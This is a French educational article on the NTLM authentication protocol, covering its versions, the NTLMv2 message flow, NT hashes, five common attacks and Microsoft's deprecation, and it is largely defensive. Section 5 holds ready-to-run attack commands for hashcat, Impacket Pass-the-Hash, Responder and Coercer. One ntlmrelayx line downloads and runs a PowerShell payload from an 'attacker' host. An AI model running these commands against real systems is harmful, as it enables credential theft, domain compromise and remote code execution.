Active Directory & Windows

NTLM expliqué : protocole, attaques, mitigations 2025

NTLM expliqué : flow challenge-response, hashes NT/LM, attaques Pass-the-Hash, NTLM Relay, LLMNR poisoning, mitigations EPA, SMB signing, déprécation Microsoft.

Naim Aouaichia
17 min de lecture
  • NTLM
  • Kerberos
  • Active Directory
  • Pass-the-Hash
  • Relay
  • LLMNR
  • Windows security

NTLM (NT LAN Manager) est un protocole d'authentification challenge-response introduit par Microsoft avec Windows NT 3.1 en 1993, spécifié officiellement dans MS-NLMP (Microsoft NT LAN Manager Protocol), toujours activement utilisé en 2025 dans ~85 % des domaines AD enterprise (benchmark Netwrix 2024) malgré sa déprécation officielle annoncée par Microsoft en octobre 2023. Il existe en trois versions historiques — LM (1987, cassé, désactivé par défaut depuis Vista), NTLMv1 (1993, faible, désactivé par défaut depuis Windows 7), NTLMv2 (2000, version moderne encore utilisée) — avec un flow en 3 messages SSPI (NEGOTIATE, CHALLENGE, AUTHENTICATE) qui repose sur le hash NT (MD4 du password Unicode, ni salé ni étiré) stocké dans la SAM locale et Ntds.dit. Sa faiblesse architecturale centrale est que le hash NT sert directement de secret d'authentification — permettant les attaques Pass-the-Hash (T1550.002 MITRE, popularisées par Hernan Ochoa 2008) où un attaquant ayant dump LSASS s'authentifie sans connaître le password. Les 5 attaques NTLM dominantes observées en pentest 2024-2025 sont Pass-the-Hash, NTLM Relay (T1557.001, relais d'authentification interceptée vers SMB/LDAP/ADCS via ntlmrelayx + LLMNR poisoning avec Responder + Coercer PetitPotam), LLMNR/NBT-NS poisoning (70-85 % des réseaux AD non patchés en 2024), offline cracking du hash NT (mots de passe < 15 caractères crackables en jours avec hashcat), NTLMSSP downgrade (forcer NTLMv1 si client l'accepte encore). Les mitigations prioritaires incluent : SMB Signing (obligatoire client + serveur), LDAP Signing + LDAP Channel Binding, EPA (Extended Protection for Authentication, KB968389 2009), désactivation LLMNR/NBT-NS via GPO (1 journée de déploiement pour protection immédiate), Protected Users Group pour Tier 0. Microsoft a annoncé au Ignite 2023 la déprécation progressive de NTLM, avec désactivation par défaut sur Windows Server 2025 et Windows 11 24H2 (fresh install), mais la transition complète prendra 5-10 ans en raison de la dette applicative (imprimantes réseau, NAS SMB, applications LDAP legacy). Cet article détaille l'histoire des 3 versions NTLM, le flow pas-à-pas du NTLMv2 avec messages décodés, les hashes (LM, NT, NTLMv2 response), les 5 attaques dominantes avec outils et exemples, les mitigations prioritaires, la déprécation Microsoft 2024-2025, et le remplacement par Kerberos. Pour le protocole voisin et remplaçant, voir Kerberos expliqué. Pour le contexte AD global, Pourquoi Active Directory est une cible majeure.

1. Qu'est-ce que NTLM

1.1 Définition précise

NTLM est un protocole d'authentification SSPI (Security Support Provider Interface) Windows, alternatif à Kerberos dans l'écosystème AD. Il fonctionne en challenge-response : le serveur envoie un défi aléatoire, le client prouve qu'il connaît un secret (le hash NT du mot de passe) en calculant une réponse basée sur le défi, sans jamais envoyer le secret en clair.

Propriétés clés :

  • Stateless côté serveur (pas de session persistante comme Kerberos TGT).
  • Pas de mutual authentication — le client prouve son identité au serveur, mais le serveur ne prouve pas la sienne au client (vulnérabilité MITM).
  • Pas de délégation native (contrairement à Kerberos S4U).
  • Pass-through authentication via DC : si le client authentifie sur un serveur, ce dernier relaie le défi au DC pour vérification.

1.2 Cas où NTLM est utilisé en 2025

Malgré la préférence Kerberos, NTLM reste le fallback automatique dans de nombreux cas :

ScénarioPourquoi NTLM
Authentification par IP (\\192.168.1.10\share)Kerberos exige FQDN (SPN lié au hostname)
Connexion hors domainePas de KDC accessible
Workgroup (non-domaine)Pas de KDC du tout
Forêt AD avec trust non-transitifKerberos cross-forest complexe
Applications legacySDK NTLM embarqué, pas de Kerberos
Imprimantes, NAS, scanners SMBFirmware limité
Connexion SMB depuis Linux via SambaCompatibilité
Application web IWA (Integrated Windows Auth)Kerberos + NTLM fallback

2. Histoire des 3 versions

2.1 Timeline

Histoire NTLM — 30+ années
──────────────────────────────
 
1987   LM (Lan Manager)
       - Hash : DES-based, mot de passe tronqué à 14 caractères, divisé en 2×7
       - Casse en pratique : quelques heures en 1997, minutes en 2005
       - Désactivé par défaut : Windows Vista (2007)
 
1993   NTLMv1 (Windows NT 3.1)
       - Hash NT : MD4 du password Unicode
       - Challenge-response : DES avec le hash comme clé
       - Vulnérable : Cryptographic weakness, response reversible
       - Désactivé par défaut : Windows 7 / Server 2008 R2 (2009)
 
2000   NTLMv2 (Windows 2000 puis Windows NT 4 SP6a)
       - Hash NT identique à NTLMv1
       - Challenge-response : HMAC-MD5 avec timestamp + nonce client
       - Protection contre replay (timestamp)
       - Résistance cracking offline dépend du password strength
       - Toujours actif par défaut en 2025
 
2007+  NTLM + Kerberos avec Kerberos préféré
       - IWA (Integrated Windows Auth) : tente Kerberos en premier
       - Fallback NTLM si Kerberos échoue
 
2023   Microsoft Ignite : annonce déprécation NTLM
2024   Windows Server 2025 / Win 11 24H2 : disable NTLM par défaut (fresh)
2026+  Migration progressive 5-10 ans

2.2 LM — le cauchemar historique

Hash LM a des faiblesses triviales :

  1. Password tronqué à 14 caractères, divisé en 2 moitiés de 7 caractères chacune chiffrée indépendamment (complexité 2^43 au lieu de 2^86).
  2. Majuscules forcées (pas de distinction casse).
  3. DES seul (bloc 64 bits, clé effective 56 bits).

Crackage d'un hash LM en 2025 : secondes sur GPU moderne avec rainbow table. Heureusement désactivé par défaut partout depuis 2007.

2.3 NTLMv1 vs NTLMv2

DimensionNTLMv1NTLMv2
Année19932000
Hash sourceMD4(password UTF-16LE)MD4(password UTF-16LE) — identique
Challenge8 octets serveur8 octets serveur + challenge client
ResponseDES(hash, challenge) × 3HMAC-MD5(hash, challenge + timestamp + client-nonce)
Protection replayNonOui (timestamp)
Résistance relayAucuneAucune
Résistance crackingLow (DES cassable offline)Moyenne (HMAC-MD5 + strong password résiste)
Actif par défaut 2025NonOui

3. Le flow NTLMv2 pas-à-pas

3.1 Les 3 messages SSPI

NTLMv2 flow — 3 messages MS-NLMP
─────────────────────────────────
 
Client                                    Server (ou relayed DC)
   │                                           │
   │──[1] NEGOTIATE_MESSAGE───────────────────▶│
   │   flags capabilities négociés             │
   │   (signing, sealing, version, etc.)       │
   │                                           │
   │◀────────[2] CHALLENGE_MESSAGE─────────────│
   │   Server Challenge (8 octets aléatoires)  │
   │   Target info (domaine, FQDN, timestamp)  │
   │   Flags négociés finaux                   │
   │                                           │
   │                                           │
   │   [Client calcule NTProofStr et LMResp]   │
   │                                           │
   │                                           │
   │──[3] AUTHENTICATE_MESSAGE────────────────▶│
   │   NTProofStr (HMAC-MD5)                   │
   │   LM Response                             │
   │   Domain, User, Workstation               │
   │   Session Key chiffrée                    │
   │                                           │
   │                                           │ [Server vérifie via DC]
   │                                           │
   │◀──────── 9000 SUCCESS / FAIL ─────────────│

3.2 Calcul NTProofStr côté client

Le cœur cryptographique de NTLMv2 :

Calcul NTProofStr (NTLMv2) — pseudo-code
─────────────────────────────────────────
 
1. NT_Hash = MD4(UTF-16LE(password))
   # Hash source stocké en SAM/Ntds.dit
 
2. NTLMv2_Hash = HMAC-MD5(NT_Hash, UTF-16LE(upper(username) + domain))
   # Hash dérivé avec identifiant user + domaine
 
3. TargetInfo = server_netbios_name + server_dns_name +
                dns_tree_name + timestamp_64bit +
                client_challenge_8bytes
   # Informations échangées dans CHALLENGE_MESSAGE
 
4. Temp = "\x01\x01\x00\x00\x00\x00\x00\x00" + TargetInfo
 
5. NTProofStr = HMAC-MD5(NTLMv2_Hash, server_challenge + Temp)
 
6. NTLMv2_Response = NTProofStr + Temp
   # Envoyé dans AUTHENTICATE_MESSAGE

3.3 Session Key — utilisation post-auth

Après authentification réussie, client et serveur partagent une Session Key (base HMAC-MD5(NTLMv2_Hash, NTProofStr)) utilisée pour :

  • SMB Signing (intégrité des paquets SMB).
  • SMB Sealing (chiffrement contenu SMB, rare en pratique — SMB 3.0 préfère AES-GCM négocié).
  • LDAP Signing (intégrité des requêtes LDAP).

4. Les hashes NTLM en profondeur

4.1 Hash NT — format et stockage

Password Unicode "P@ssw0rd123" (11 chars)

       │ UTF-16LE encoding (22 octets)

       50 00 40 00 73 00 73 00 77 00 30 00 72 00 64 00 31 00 32 00 33 00

       │ MD4 hash (128 bits = 16 octets)

NT_Hash = e19ccf75ee54e06b06a5907af13cef42  (hexadécimal)

Stockage :

  • Local : SAM database dans C:\Windows\System32\config\SAM, chiffrée avec SysKey.
  • AD : Ntds.dit sur DCs dans C:\Windows\NTDS\ntds.dit, chiffré avec Password Encryption Key (PEK).

4.2 NTLMv2 response — sur le wire

Sur le wire (capturée avec Responder ou Wireshark) :

Format NTLMv2 response (wire capture)
──────────────────────────────────────
 
username::domain:server_challenge:NTProofStr:NT_v2_response_blob
 
Exemple (longueur ~200-300 octets) :
alice::CORP:0123456789abcdef:aabbccdd...:01010000000000...
 
Cette chaîne peut être directement fed dans hashcat mode 5600
pour tenter un cracking offline si l'attaquant possède une wordlist.

4.3 Cracking offline

Le hash NTLMv2 response capturé via Responder peut être cracké offline avec hashcat :

# hashcat mode 5600 pour NTLMv2
hashcat -m 5600 -a 0 captured.txt /usr/share/wordlists/rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule
 
# Performance 2025 sur RTX 4090 : ~40-80 GH/s sur NTLMv2
# Mot de passe 8 caractères complexité moyenne : crackable en heures
# Mot de passe 15+ caractères : impraticable sans info contextuelle

5. Les 5 attaques NTLM dominantes 2024-2025

5.1 Pass-the-Hash (T1550.002)

Vecteur : attaquant a obtenu le hash NT d'un user (via LSASS dump Mimikatz sekurlsa::logonpasswords, SAM dump, DCSync lsadump::dcsync).

# Impacket psexec.py avec Pass-the-Hash
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 \
    administrator@10.0.0.5
 
# Note : la première moitié aad3b435... est le "empty LM hash"
# (LM désactivé donc vide) — toujours la même valeur
 
# Équivalent wmiexec.py, smbexec.py, atexec.py

Impact : authentification silencieuse sans déclencher les contrôles qui détectent un cracking offline. Déplacement latéral trivial.

5.2 NTLM Relay (T1557.001)

Vecteur : attaquant intercepte un NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE en cours (via LLMNR/NBT-NS poisoning, Coercer PetitPotam, SMB share forcé) et le relaie vers un autre service.

# ntlmrelayx.py — relai SMB → SMB avec exécution
ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -c IEX(IWR http://attacker/payload.ps1)"
 
# Relai SMB → LDAP (ajouter à Domain Admins)
ntlmrelayx.py -t ldap://dc01.corp.local --add-computer "ATTACKER$" --delegate-access
 
# Relai SMB → ADCS HTTP (demander certificat au nom de user)
ntlmrelayx.py -t http://dc01.corp.local/certsrv/certfnsh.asp \
    --adcs --template "User"
 
# Coercer force DC à authentifier vers nous
Coercer.py coerce -u attacker -p Password123 -t dc01.corp.local \
    -l 10.0.0.99 --always-continue

Impact : élévation de privilèges massive, compromission possible du domaine via ADCS (ESC8).

5.3 LLMNR / NBT-NS poisoning

Vecteur : un utilisateur Windows 11 tape un chemin mal orthographié (\\fileserverr\data). Windows demande au DNS, qui ne connaît pas. Fallback : multicast LLMNR (port 5355/UDP) et broadcast NBT-NS (port 137/UDP). Attaquant sur le même subnet répond en se faisant passer pour le serveur demandé.

# Responder — écoute + réponse aux résolutions de noms
sudo responder -I eth0 -wrf
 
# Attendre quelques minutes sur un réseau d'entreprise
# Capture typique : 5-50 hashes NTLMv2 en 1 heure sur un réseau 500 postes
# Usernames, noms de domaine, hashes prêts pour hashcat mode 5600

Mitigation : GPO Turn off multicast name resolution (Computer Configuration → Administrative Templates → Network → DNS Client) + désactivation NetBIOS over TCP/IP via DHCP option 44 / 45 / 46. Déploiement 1 journée.

5.4 NTLMSSP downgrade

Vecteur : forcer la négociation vers NTLMv1 si le client l'accepte encore (via GPO LmCompatibilityLevel < 5).

# Responder force la négociation NTLMv1
sudo responder -I eth0 --lm --disable-ess

NTLMv1 hash est significativement plus facile à cracker offline que NTLMv2. Sur un réseau mixte avec Windows legacy, ce downgrade reste possible.

5.5 PetitPotam / Coercer (T1187)

Vecteur : forcer une machine distante (DC, serveur, poste) à authentifier vers un endpoint contrôlé attaquant via des RPC non-authentifiés. Nombreux vecteurs publiés 2021-2024 :

VecteurAnnée découverteCVE
PetitPotam (MS-EFSRPC EfsRpcOpenFileRaw)2021CVE-2021-36942
PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification)2018-
DFSCoerce (MS-DFSNM)2022CVE-2022-26925
ShadowCoerce (MS-FSRVP)2022-
Coerced auth via WebClient (MS-WPDS)2022+-

Combiné avec NTLM Relay → compromission domain fréquente.

6. Pourquoi NTLM persiste en 2025

Causes de persistance NTLM 2025
────────────────────────────────
 
Dette applicative
  ├─ Applications métier auth via LDAP basic ou NTLM SDK
  ├─ ERP legacy (SAP ECC sur Windows) intégré NTLM SSPI
  └─ Intranet IIS 7.5 avec IWA + NTLM fallback activé
 
Infrastructure périphérique
  ├─ Imprimantes réseau scan-to-SMB avec SMB1/2 + NTLM
  ├─ NAS Synology/QNAP avec Samba legacy
  ├─ Scanners d'inventaire, caméras IP
  └─ Devices IoT OT avec stack Windows Embedded
 
Services historiques
  ├─ MSSQL authentification Windows auth par IP
  ├─ Exchange 2013/2016 IWA avec NTLM fallback
  └─ SharePoint legacy
 
Comportements utilisateur
  ├─ Accès réseau via IP (\\192.168.x.y) au lieu de nom
  ├─ VPN clients legacy
  └─ Comptes machines legacy en workgroup

7. Mitigations prioritaires 2025

7.1 Par ordre de priorité / impact

MesureImpactEffortPriorité
GPO désactiver LLMNR + NBT-NSBloque poisoning massif1 journéeP0
SMB Signing obligatoire (client + serveur)Bloque relai SMB1-2 semainesP0
LDAP Signing + LDAP Channel BindingBloque relai LDAP1-2 semainesP0
EPA activé sur Exchange, ADCS, ADFSBloque relai vers HTTP auth2-4 semainesP0
Désactiver NTLMv1 partout (LmCompatibilityLevel 5)Force NTLMv22 semainesP1
Protected Users Group pour Tier 0Désactive NTLM pour ces users1 semaineP1
Audit NTLM usage via GPO Audit NTLMVisibilité2 semainesP1
Authentication Silos + PolicyCloisonnement Tier 01-2 moisP2
Migration progressive vers KerberosÉlimine NTLM6-24 moisP2
Déprécation totale NTLMWindows Server 2025 / Win 11 24H23-10 ansP3

7.2 GPO LLMNR + NBT-NS — la quick-win

GPO disable LLMNR + NBT-NS — recommandé tous AD 2025
─────────────────────────────────────────────────────
 
Computer Configuration
  └─ Administrative Templates
      └─ Network
          └─ DNS Client
              └─ Turn off multicast name resolution = Enabled
 
+ Désactiver NetBIOS over TCP/IP via GPO ou DHCP
  option dhcp NetBIOS Node Type = 2 (P-node, pas de broadcast)
 
Déploiement :
  1. Créer GPO "Disable-LLMNR-NBT-NS"
  2. Link to all computer OUs
  3. gpupdate /force sur quelques postes test
  4. Validation via netstat : port 5355/UDP absent
  5. Déploiement général
  6. Monitoring 1 semaine pour incidents (rare)

7.3 SMB Signing obligatoire

GPO enforce SMB Signing — mitigation NTLM Relay SMB
────────────────────────────────────────────────────
 
Côté serveur (tous les serveurs + postes) :
  Computer Configuration → Windows Settings → Security Settings
   → Local Policies → Security Options
     → Microsoft network server: Digitally sign communications (always) = Enabled
 
Côté client :
  Microsoft network client: Digitally sign communications (always) = Enabled
 
Effet : tout paquet SMB non-signé est rejeté. Un attaquant qui
relay un NTLM AUTHENTICATE vers un serveur SMB produit une session
non-signable (il n'a pas la Session Key du client) → connexion refusée.
 
Depuis Windows Server 2025 et Windows 11 24H2 : activé par défaut.

7.4 EPA (Extended Protection for Authentication)

Configurations EPA par service (2025)
──────────────────────────────────────
 
IIS (Windows authentication)
  Internet Information Services Manager
    → Site → Authentication → Windows Authentication
      → Advanced Settings
        → Extended Protection: Required (ou Accept)
 
Exchange Server 2019 CU14+ (août 2023)
  EPA activé par défaut via ExchangeServer2019CU14AugSU
 
ADCS Web Enrollment
  KB5021130 (novembre 2022)
  certsrv configuré avec EPA obligatoire
 
ADFS
  Set-ADFSProperties -ExtendedProtectionTokenCheck Require

7.5 Audit NTLM pour visibilité

Audit NTLM via GPO — identifier les usages pour planifier migration
────────────────────────────────────────────────────────────────────
 
Computer Configuration → Windows Settings → Security Settings
 → Local Policies → Security Options
 
Trois policies à configurer :
 
1. Network Security: Restrict NTLM: Audit NTLM authentication in this domain
   = Enable all
   # Logs NTLM auths sur DCs
 
2. Network Security: Restrict NTLM: Audit Incoming NTLM Traffic
   = Enable auditing for all accounts
   # Logs NTLM auths entrantes sur chaque serveur
 
3. Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers
   = Audit all
   # Logs NTLM auths sortantes
 
Events générés : Event ID 8001-8004 dans Microsoft-Windows-NTLM/Operational
Stream vers SIEM, analyse 30 jours pour identifier :
  - Applications qui utilisent NTLM (candidats migration)
  - Users récurrents (candidats Protected Users)
  - Patterns anormaux (attaque en cours)

8. Déprécation Microsoft 2024-2025

8.1 Annonce officielle

Octobre 2023, Microsoft Ignite. Post blog "The evolution of Windows authentication" par Matthew Palko (Microsoft Identity team). Points clés :

  • Windows Server 2025 (GA novembre 2024) : NTLM désactivé par défaut sur fresh install (activable via GPO pour compat).
  • Windows 11 24H2 (octobre 2024) : même chose côté client.
  • Kerberos renforcé : Local KDC pour auth IP, IAKerb (Kerberos over HTTPS) pour auth hors-domaine.

8.2 Nouveaux mécanismes Kerberos 2024-2025

  • Local KDC (Windows 11 24H2+) : chaque machine peut jouer KDC pour des auth locales sans domaine.
  • IAKerb (Initial and Pass-Through Authentication Using Kerberos) : Kerberos sur HTTPS, pour scenarios où le KDC n'est pas accessible en direct.
  • Kerberos over WebClient : authentification SSO pour apps web modernes.

8.3 Timeline réaliste

HorizonÉtat NTLM
2024-2025Actif par défaut sur installations existantes
2025-2027Désactivé par défaut sur fresh installs WS 2025 / Win 11 24H2
2027-2030Phase de deprecation douce, warnings Events
2030-2035Désactivation forcée étape par étape
2035+NTLM obsolète hors legacy exceptionnel

La migration complète prendra 10 ans selon les estimations internes Microsoft — la dette applicative (imprimantes, NAS, apps legacy LDAP basic) ne se résout pas plus vite.

9. Mapping offensif et défensif

9.1 Techniques MITRE ATT&CK NTLM

TechniqueNomUsage offensif
T1550.002Use Alternate Authentication Material: Pass the HashImpacket psexec, wmiexec avec -hashes
T1557.001Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB RelayResponder + ntlmrelayx
T1110.003Brute Force: Password Sprayingkerbrute, NTLM auth probes
T1187Forced AuthenticationPetitPotam, Coercer, PrinterBug
T1003.002OS Credential Dumping: Security Account ManagerMimikatz lsadump::sam
T1003.001OS Credential Dumping: LSASS MemoryMimikatz sekurlsa::logonpasswords

Pour la méthodologie pentest AD complète, voir Qu'est-ce qu'un pentest interne et Roadmap pentest.

9.2 Détection — règles SIGMA essentielles

Détection d'attaques NTLM dans Microsoft Defender for Identity / Sentinel :

  • Multiple NTLM auth failures from single source : force brute / spraying.
  • NTLMv1 usage detected : downgrade ou config legacy problématique.
  • Authentication from service account to multiple workstations in short period : Pass-the-Hash horizontal movement.
  • Relay patterns : same user authenticating from different source IPs within seconds.

Pour le contexte détection, voir Détection d'intrusion : les bases.

Points clés à retenir

  • NTLM = protocole d'auth Windows 1993+, toujours actif en 2025 dans ~85 % des AD enterprise (Netwrix 2024) malgré la déprécation annoncée octobre 2023.
  • 3 versions : LM (cassé depuis 1997), NTLMv1 (faible), NTLMv2 (utilisé par défaut actuel).
  • Flow 3 messages SSPI : NEGOTIATE → CHALLENGE → AUTHENTICATE. Hash NT = MD4(password UTF-16LE), non salé, non étiré.
  • Faiblesse architecturale : le hash NT = credential, permettant Pass-the-Hash sans cracker le password.
  • 5 attaques dominantes : Pass-the-Hash, NTLM Relay, LLMNR/NBT-NS poisoning, offline cracking, NTLMSSP downgrade, PetitPotam/Coercer.
  • Mitigations P0 : GPO disable LLMNR + NBT-NS (1 jour), SMB Signing obligatoire, LDAP Signing + Channel Binding, EPA sur Exchange/ADCS/ADFS.
  • Mitigations P1 : Désactiver NTLMv1 (LmCompatibilityLevel 5), Protected Users pour Tier 0, Audit NTLM pour inventaire.
  • Déprécation Microsoft 2024-2025 : Windows Server 2025 + Windows 11 24H2 désactivent NTLM par défaut sur fresh installs. Migration complète 10 ans.
  • Remplaçant : Kerberos + Local KDC + IAKerb (nouveautés Windows 11 24H2) pour scenarios historiquement réservés à NTLM.

Pour le protocole Kerberos voisin et remplaçant, voir Kerberos expliqué. Pour les raisons structurelles AD reste cible, Pourquoi Active Directory est une cible majeure. Pour la méthodologie offensive, Qu'est-ce qu'un pentest interne et Roadmap pentest. Pour la détection des attaques NTLM, Détection d'intrusion : les bases.

Questions fréquentes

  • Qu'est-ce que NTLM en 2025 ?
    NTLM (NT LAN Manager) est un protocole d'authentification challenge-response introduit par Microsoft avec Windows NT 3.1 (1993) et toujours activement utilisé en 2025 dans l'écosystème Windows. Il existe en trois versions : LM (Lan Manager, 1987, cassé depuis 1997, désactivé par défaut depuis Windows Vista), NTLMv1 (1993, faible, désactivé par défaut depuis Windows 7), NTLMv2 (2000, version moderne encore utilisée). NTLMv2 reste actif en fallback quand Kerberos n'est pas disponible (auth sur IP au lieu de hostname, hors domaine, applications legacy, protocoles sans mutual auth). Microsoft a annoncé en octobre 2023 sa déprécation progressive, avec désactivation par défaut prévue sur Windows Server 2025 et Windows 11 24H2+, mais la migration complète prendra 5-10 ans vu la dette applicative. En 2025, NTLM reste présent dans ~85 % des domaines AD enterprise (Netwrix 2024 benchmark).
  • Qu'est-ce qu'un hash NT et pourquoi c'est dangereux ?
    Le hash NT (aussi appelé NTLM hash) est le MD4 du mot de passe utilisateur Unicode UTF-16LE, stocké dans la base SAM locale ou dans Ntds.dit côté AD. Il n'est ni salé ni étiré (pas de KDF comme Argon2) — un mot de passe faible est crackable offline en quelques minutes avec hashcat. Plus problématique : dans le protocole NTLM, c'est le hash NT lui-même (pas le mot de passe) qui sert de secret d'authentification — permettre une attaque Pass-the-Hash (T1550.002 MITRE). Si un attaquant dump LSASS via Mimikatz sekurlsa::logonpasswords, il récupère les hashes NT actifs en mémoire et peut s'authentifier à d'autres machines sans connaître les mots de passe. Cette propriété — confusion entre hash et credential — est la faiblesse architecturale centrale de NTLM qui n'existe pas dans Kerberos (tickets expirant).
  • Pass-the-Hash, NTLM Relay : quelle différence ?
    Deux attaques distinctes sur NTLM. Pass-the-Hash (T1550.002, popularisé Hernan Ochoa 2008) : l'attaquant a déjà le hash NT d'un utilisateur (via LSASS dump, SAM dump, ou DCSync) et l'utilise directement pour s'authentifier en NTLM auprès d'une autre machine — pas besoin de cracker le password. Outils : Impacket psexec.py, wmiexec.py avec option -hashes. NTLM Relay (T1557.001, CVE-1999-0504 puis MS08-068) : l'attaquant intercepte une authentification NTLM en cours (via LLMNR poisoning, SMB force, Coercer PetitPotam) et la relaie vers un autre service (SMB, LDAP, ADCS HTTP) au nom de la victime. L'attaquant n'a jamais le hash — il utilise une session authentifiée en transit. Outils : ntlmrelayx.py (Impacket), Responder. Les deux ensemble couvrent ~40-50 % des chaînes d'escalade AD observées en pentest interne 2024 (PASSI FR retours terrain).
  • Le LLMNR poisoning est-il encore exploitable en 2025 ?
    Oui, massivement. LLMNR (Link-Local Multicast Name Resolution, RFC 4795, 2007) + NBT-NS (NetBIOS Name Service) sont des protocoles de résolution de noms Windows fallback quand DNS échoue. Par défaut activés sur tous les Windows en 2025 (sauf désactivation GPO explicite). Un attaquant sur le même réseau local écoute les requêtes de résolution de noms mal tapés (ex: user tape \\fileserverr au lieu de \\fileserver), y répond en se faisant passer pour le serveur cherché, la victime envoie son hash NTLMv2 à l'attaquant. Outil universel : Responder (Laurent Gaffié, 2012+). Prévalence : 70-85 % des réseaux AD enterprise 2024 n'ont pas désactivé LLMNR/NBT-NS via GPO (benchmarks Synacktiv, Almond 2024). Mitigation simple : GPO 'Turn off multicast name resolution' + désactivation NetBIOS via DHCP options — déploiement 1 journée, protection immédiate.
  • Pourquoi Microsoft a-t-il annoncé la déprécation de NTLM ?
    Annonce initiale au Microsoft Ignite octobre 2023. Raisons cumulées : 1) NTLM architectural : pas de mutual authentication (la machine ne vérifie pas l'identité du serveur), vulnérable aux attaques MITM et relay. 2) Hash = credential : Pass-the-Hash impossible à mitiger dans le design. 3) Pas de MFA possible : NTLM est transparent à l'utilisateur, aucun facteur supplémentaire. 4) Coût de maintenance Microsoft : patches NTLM récurrents (CVE-2022-26925 PetitPotam, CVE-2023-23397 Outlook, CVE-2024-21320 Windows Themes). 5) Standard industrie : Kerberos + OIDC/SAML modernes offrent mutual auth + MFA + audit. Calendrier officiel : désactivé par défaut sur fresh install Windows Server 2025 et Windows 11 24H2, période de transition 5-10 ans pour migration complète applicative (compatibilité legacy, imprimantes réseau, NAS SMB, applications fielding LDAP basic).
  • Extended Protection for Authentication (EPA) : qu'est-ce que c'est ?
    EPA (Extended Protection for Authentication, Microsoft KB968389, 2009) est une mitigation NTLM Relay qui ajoute au processus d'authentification une vérification cryptographique du canal de transport sous-jacent (TLS channel binding) ou du service (SPN binding). Concrètement : lors d'un NTLM sur HTTPS ou LDAPS, un hash du certificat serveur est inclus dans le message AUTHENTICATE, ce qui empêche le relai vers un autre service avec un certificat différent. EPA doit être activé côté serveur (IIS, Exchange, ADFS, ADCS Web Enrollment, LDAP sur LDAPS) ET côté client. État 2025 : EPA activable sur la plupart des services Microsoft modernes, activé par défaut sur Exchange 2019 CU14+ et ADCS Windows Server 2022+, encore souvent désactivé sur déploiements antérieurs. KB5021130 (nov 2022) a durci les configurations ADCS par défaut mais un audit 2025 trouve encore 30-50 % des services NTLM sans EPA (observations terrain).

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.